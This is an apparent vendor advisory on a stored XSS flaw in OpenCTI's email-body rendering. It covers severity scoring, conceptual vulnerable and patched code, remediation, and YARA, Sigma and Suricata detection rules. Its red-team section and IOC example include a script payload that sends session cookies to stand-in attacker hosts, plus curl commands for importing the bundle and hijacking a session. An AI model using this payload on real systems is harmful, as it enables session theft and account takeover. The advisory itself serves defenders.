CVE-2026-35212

Executive Summary

CVE-2026-35212 is a stored Cross-Site Scripting (XSS) vulnerability in OpenCTI, an open-source platform for managing cyber threat intelligence knowledge and observables. The vulnerability exists in versions prior to 7.260227.0 and affects the rendering of email-message observable body data. The content of the body field is not appropriately sanitized when being rendered, allowing an attacker to inject malicious scripts. While user interaction is required, the vulnerability can be exploited by sharing STIX data or through any of the ingesters. This could lead to Cross-Site Request Forgery (CSRF) and large-scale session theft. The vulnerability has been patched in version 7.260227.0.

Supply Chain & Package Security

OpenCTI is distributed as a Docker image and via GitHub releases. The vulnerability is introduced through the application's own codebase, not through a third-party package. However, organizations using OpenCTI should verify the integrity of their deployment and ensure they are using the patched version. The fix is included in the official Docker image tagged 7.260227.0 and the corresponding GitHub release.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, but based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) - The vulnerability can be triggered remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs to be able to share STIX data or use an ingester.
• User Interaction (UI): Required (R) - A user must view the malicious email body.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) - Session theft can lead to full data access.
• Integrity (I): High (H) - An attacker can perform actions on behalf of the victim.
• Availability (A): Low (L) - The primary impact is on confidentiality and integrity.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L Estimated Score: 8.0 (High)

Threat Level: High. The vulnerability allows for session theft and CSRF, which can lead to complete compromise of an OpenCTI instance.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the email-message observable body rendering. When OpenCTI ingests or displays an email observable, the body content is rendered without proper sanitization. An attacker can craft a malicious email body containing JavaScript code. When a user views this email observable, the script executes in the context of the user's session.

Attack Flow:

1. Ingestion: An attacker shares a STIX bundle or uses an ingester (e.g., MISP, TheHive) to import an email observable with a malicious body.
2. Storage: The malicious body is stored in the OpenCTI database.
3. Trigger: A user with access to the platform views the email observable.
4. Execution: The browser renders the malicious JavaScript, which executes in the user's session.
5. Exploitation: The script can steal session cookies, perform CSRF attacks (e.g., create new users, modify data), or exfiltrate sensitive information.

Key Technical Details:

• The vulnerability is in the rendering of the body field of email-message observables.
• The fix likely involves proper HTML encoding or sanitization of the body content before rendering.
• The attack does not require the attacker to have a user account on the target OpenCTI instance if they can share STIX data through a trusted source.

Vulnerable vs. Patched Code

The vulnerable code likely uses a method like dangerouslySetInnerHTML in React or a similar unsafe rendering function. The patched code would sanitize the input using a library like DOMPurify or encode the HTML entities.

Vulnerable Code (Conceptual):

// Vulnerable component
function EmailBody({ body }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

Patched Code (Conceptual):

import DOMPurify from 'dompurify';

// Patched component
function EmailBody({ body }) {
  const sanitizedBody = DOMPurify.sanitize(body);
  return <div dangerouslySetInnerHTML={{ __html: sanitizedBody }} />;
}

The actual fix in OpenCTI 7.260227.0 would involve similar sanitization of the email body before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an OpenCTI instance (version < 7.260227.0).
• Ability to share STIX data or use an ingester.

Exploitation Steps:

1. Craft Malicious Email Observable: Create a STIX bundle with an email-message observable containing a malicious body.

   {
     "type": "bundle",
     "id": "bundle--1",
     "objects": [
       {
         "type": "email-message",
         "id": "email-message--1",
         "is_multipart": false,
         "body": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>",
         "subject": "Test",
         "from_ref": "email-addr--1",
         "to_refs": ["email-addr--2"]
       },
       {
         "type": "email-addr",
         "id": "email-addr--1",
         "value": "attacker@evil.com"
       },
       {
         "type": "email-addr",
         "id": "email-addr--2",
         "value": "victim@target.com"
       }
     ]
   }
   

2. Ingest the Malicious STIX Bundle: Use the OpenCTI API or a connected platform to import the bundle.

   curl -X POST https://target-opencti/api/import/bundle \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d @malicious_bundle.json
   

3. Trigger the XSS: Wait for a user to view the email observable. The script will execute and send the session cookie to the attacker's server.

4. Session Hijacking: Use the stolen cookie to impersonate the victim.

   curl -X GET https://target-opencti/api/me \
     -H "Cookie: session=<stolen_cookie>"
   

Blue Team

Detection and Prevention:

1. Input Validation: Ensure all user-supplied data, especially email bodies, are sanitized before rendering.
2. Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts.
3. Web Application Firewall (WAF): Deploy a WAF to detect and block XSS payloads.
4. User Education: Train users to be cautious when viewing email observables from untrusted sources.
5. Patch Management: Immediately upgrade to OpenCTI 7.260227.0 or later.

Hunting Queries:

• Search for email observables with suspicious HTML tags in the body field.
• Monitor for unusual API calls that create email observables with script tags.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to attacker-controlled domains (e.g., attacker.com).
• HTTP requests containing document.cookie in the URL.

Host IOCs:

• Unusual entries in OpenCTI logs showing creation of email observables with script tags.
• Modified user sessions or unauthorized API calls.

File IOCs:

• STIX bundles containing <script> tags in the email body field.

Example IOC:

{
  "type": "email-message",
  "body": "<script>fetch('https://malicious.com/steal?c='+document.cookie)</script>"
}

Detection Engineering

YARA Rule

rule CVE_2026_35212_OpenCTI_XSS {
    meta:
        description = "Detects malicious STIX bundles exploiting CVE-2026-35212"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35212"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $email_body = /"body"\s*:\s*"[^"]*<script[^>]*>.*?<\/script>/is
    condition:
        $email_body and $xss_payload
}

Sigma Rule

title: OpenCTI XSS via Email Observable Body
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of email observables with script tags in the body field
author: Valters IT
date: 2026-01-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35212
logsource:
    category: application
    product: opencti
detection:
    selection:
        event_type: "email-message"
        body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in email bodies (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-35212 OpenCTI XSS - Email Body with Script Tag";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/import/bundle"; http_uri;
    content:"email-message"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2026-35212;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenCTI: Upgrade to version 7.260227.0 or later immediately.
2. Restrict Ingestion: Temporarily disable ingestion from untrusted sources until the patch is applied.
3. Review Logs: Check for any signs of exploitation in the logs.

Long-term Mitigations:

1. Input Sanitization: Implement strict input sanitization for all user-supplied data.
2. Content Security Policy: Deploy a strong CSP to mitigate XSS attacks.
3. Regular Updates: Keep OpenCTI and all dependencies up to date.
4. Security Audits: Conduct regular security audits and penetration testing.

Workaround (if patching is not immediately possible):

• Disable the rendering of email body content in the UI.
• Use a reverse proxy with WAF capabilities to filter out malicious payloads.

Valters IT
Securing Your Digital Frontier